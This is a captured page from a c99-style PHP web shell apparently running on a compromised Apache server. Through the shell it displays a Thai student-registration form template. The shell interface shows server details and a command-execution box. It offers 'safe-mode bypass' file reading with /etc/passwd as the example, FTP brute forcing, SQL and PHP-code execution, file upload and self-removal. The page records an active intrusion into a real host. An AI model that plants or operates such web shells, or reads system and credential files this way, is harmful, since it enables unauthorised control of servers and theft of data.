!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_editStdMBHis1.php (5.41 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_cfg 
= (isset($qu_cfg) && $qu_cfg->num_rows()) ? $qu_cfg->row() : NULL;
$row_std = (isset($qu_std) && $qu_std->num_rows()) ? $qu_std->row() : NULL;
?>
<table width="100%" border="0">
    <tr>
        <td><table class="szone">
        <?php echo form_open($this->config->item("rg_folder")."studenthis/std_insertStdMBHis1", array("name" => "myform""id" => "myform"));?>
            <tr bgcolor="<?php echo setValue('cfgBgClSwapTr',$row_cfg);?>">
                <td colspan="2" height="25" align="center"><span class="h error">เพิ่มประวัติด้านการศึกษา</span></td>
            </tr>
            <tr bgcolor="<?php echo setValue('cfgBgClSwapTr',$row_cfg);?>">
                <td class="coltd_szone">ระดับการศึกษา</td>
                <td>
<?php
                
echo form_dropdown('sehElvId'$rs_elvset_value('sehElvId'));
?>
                <span class="error">*<?php echo form_error('sehElvId');?></span></td>
            </tr>
            <tr bgcolor="<?php echo setValue('cfgBgClSwapTr',$row_cfg);?>">
                <td class="coltd_szone">ชื่อสถาบัน (ไทย)</td>
                <td><input type="text" name="sehInstitutionName" id="sehInstitutionName" value="<?php echo set_value('sehInstitutionName');?>" size="50" maxlength="50" />
                <span class="error">*<?php echo form_error('sehInstitutionName');?></span></td>
            </tr>
            <tr bgcolor="<?php echo setValue('cfgBgClSwapTr',$row_cfg);?>">
                <td class="coltd_szone">ชื่อสถาบัน (อังกฤษ)</td>
                <td><input type="text" name="sehInstitutionNameE" id="sehInstitutionNameE" value="<?php echo set_value('sehInstitutionNameE');?>" size="50" maxlength="50" />
                <span class="error">*<?php echo form_error('sehInstitutionNameE');?></span></td>
            </tr>
            <tr bgcolor="<?php echo setValue('cfgBgClSwapTr',$row_cfg);?>">
                <td class="coltd_szone">จังหวัด</td>
                <td>
<?php
                
echo form_dropdown('sehPrvId'$rs_prvset_value('sehPrvId'));
?>
                <span class="error">*<?php echo form_error('sehPrvId');?></span></td>
            </tr>
            <tr bgcolor="<?php echo setValue('cfgBgClSwapTr',$row_cfg);?>">
                <td class="coltd_szone">ปีที่จบ (พ.ศ.)</td>
                <td><input type="text" name="sehGraduateY" id="sehGraduateY" value="<?php echo set_value('sehGraduateY',$acY);?>" size="5" maxlength="4" class="required-int" />
                <span class="error">*<?php echo form_error('sehGraduateY');?></span></td>
            </tr>
            <tr bgcolor="<?php echo setValue('cfgBgClSwapTr',$row_cfg);?>">
                <td class="coltd_szone">GPA</td>
                <td><input type="text" name="sehGPA" id="sehGPA" value="<?php echo set_value('sehGPA');?>" size="5" maxlength="4" class="required-float" />
                <span class="error">*<?php echo form_error('sehGPA');?></span></td>
            </tr>
            <tr bgcolor="<?php echo setValue('cfgBgClSwapTr',$row_cfg);?>">
                <td colspan="2" align="center">
                <input type="submit" name="add" id="add" value="บันทึก" />
                <input type="reset" name="clear" id="clear" value="เคลียร์ข้อมูล" />
                <input type="hidden" name="tab" id="tab" value="<?php echo $tab;?>" />
                <input type="hidden" name="stdId" id="stdId" value="<?php echo $stdId;?>" />
                <input type="hidden" name="stdAdY" id="stdAdY" value="<?php echo setValue('stdAdY',$row_std);?>" />
                </td>
            </tr>
        <?php echo form_close();?></table></td>
    </tr>
    <tr>
        <td><br /></td>
    </tr>
    <tr>
        <td><table class="headCol">
            <tr>
                <th colspan="7">แสดงประวัติด้านการศึกษา</th>
            </tr>
            <tr>
                <th class="seqCol">ลำดับที่</th>
                <th>ระดับการศึกษา</th>
                <th>ชื่อสถาบัน</th>
                <th>จังหวัด</th>
                <th class="amtCol">ปีที่จบ</th>
                <th class="amtCol">GPA</th>
                <th class="deleteCol">ลบ</th>
            </tr>
<?php
    $i 
0;
    if(isset(
$rs_seh) && $rs_seh->num_rows()) {
        foreach(
$rs_seh->result() as $row) {
            echo 
"<tr onmouseover=\"bgColor='".setValue('cfgBgClSwapTr',$row_cfg)."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                <td align="center"><?php echo $i+1;?></td>
                <td class="indent"><?php echo $row->levelName;?></td>
                <td class="indent"><?php echo $row->sehInstitutionName;?></td>
                <td class="indent"><?php echo $row->provinceName;?></td>
                <td align="center"><?php echo $row->sehGraduateY;?></td>
                <td align="center"><?php echo number_format($row->sehGPA,2);?></td>
                <td align="center">
                <span onClick="confirmDel2({sehStdId:<?php echo $row->sehStdId;?>, sehElvId:<?php echo $row->sehElvId;?>, tab:<?php echo $tab;?>}, 'm_form1','<?php echo site_url($this->config->item('rg_folder').'studenthis/std_deleteStdMBHis1');?>')" /><img src="<?php echo base_url().$this->config->item('rg_delete');?>" align="absmiddle" border="0" width="16" height="19" class="hand"/></span></td>
<?php
            $i
++;
        }
    } else {
?>
            <tr>
                <td colspan="7" align="center"><span class="error">** ไม่ปรากฎรายการประวัติด้านการศึกษาในฐานข้อมูล **</span></td>
            </tr>
<?php
    
}
?>
        </table></td>
    </tr>
    <tr>
        <td align="right">รวม <?php echo $i;?> รายการ</td>
    </tr>
    <tr>
        <td><br /></td>
    </tr>
    <tr>
        <td class="error"><b>หมายเหตุ</b> : * หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์</td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0156 ]--